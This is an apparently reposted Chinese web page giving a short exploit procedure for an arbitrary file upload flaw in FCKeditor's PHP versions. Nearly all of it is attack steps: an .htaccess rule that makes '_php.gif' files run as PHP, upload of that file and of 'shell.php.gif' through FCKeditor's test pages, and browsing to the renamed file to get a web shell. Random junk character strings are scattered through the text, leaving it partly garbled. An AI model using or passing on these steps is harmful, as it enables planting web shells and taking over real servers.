FCKeditor所有php版本Upload上传漏洞

admin

FCKeditor所有php版本Upload上传漏洞 作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:07 减小字体 增大字体 [+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability ; S$ v& @# j" t) {' G4 t" f/ \[+] Date: 2011 : l; Y9 v6 h7 ]+ p# n  n1 p[+] Author : sinesafe.cn " ~# e3 j, h  x" ?# N[+] Website : WwW.sinesafe.cn ——————————————————— 1 w/ x+ B0 U7 O$ R, m1.create a htaccess file: code: <FilesMatch “_php.gif”> - q9 B# Z& o" K9 FSetHandler application/x-httpd-php 3 y1 @: u0 i+ O$ ?& O- A% r- q6 v</FilesMatch> ; y/ A& j" K1 N' N% P5 v # m# Z  I8 M6 }; W  c0 ^1 Q2.Now upload this htaccess with FCKeditor. " h* \% }; u0 w/ z5 I$ b http://www.sinesafe.cn/FCKeditor ... er/upload/test.html / w2 ?: k" T1 ]# _1 H& zhttp://www.sinesafe.cn/FCKeditor ... onnectors/test.html 4 E. F. u- m+ M0 S———————————————————————————————-   _" l) {, U# y# w2 m+ j, d3.Now upload shell.php.gif with FCKeditor. 2 a8 C4 h& |, Y* \# X3 G4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically. 5.http://www.sinesafe.cn/anything/shell_php.gif 0 `! y% g0 j1 }$ T6.Now shell is available from server.

3 {# Z7 _6 X' i. o- P( Z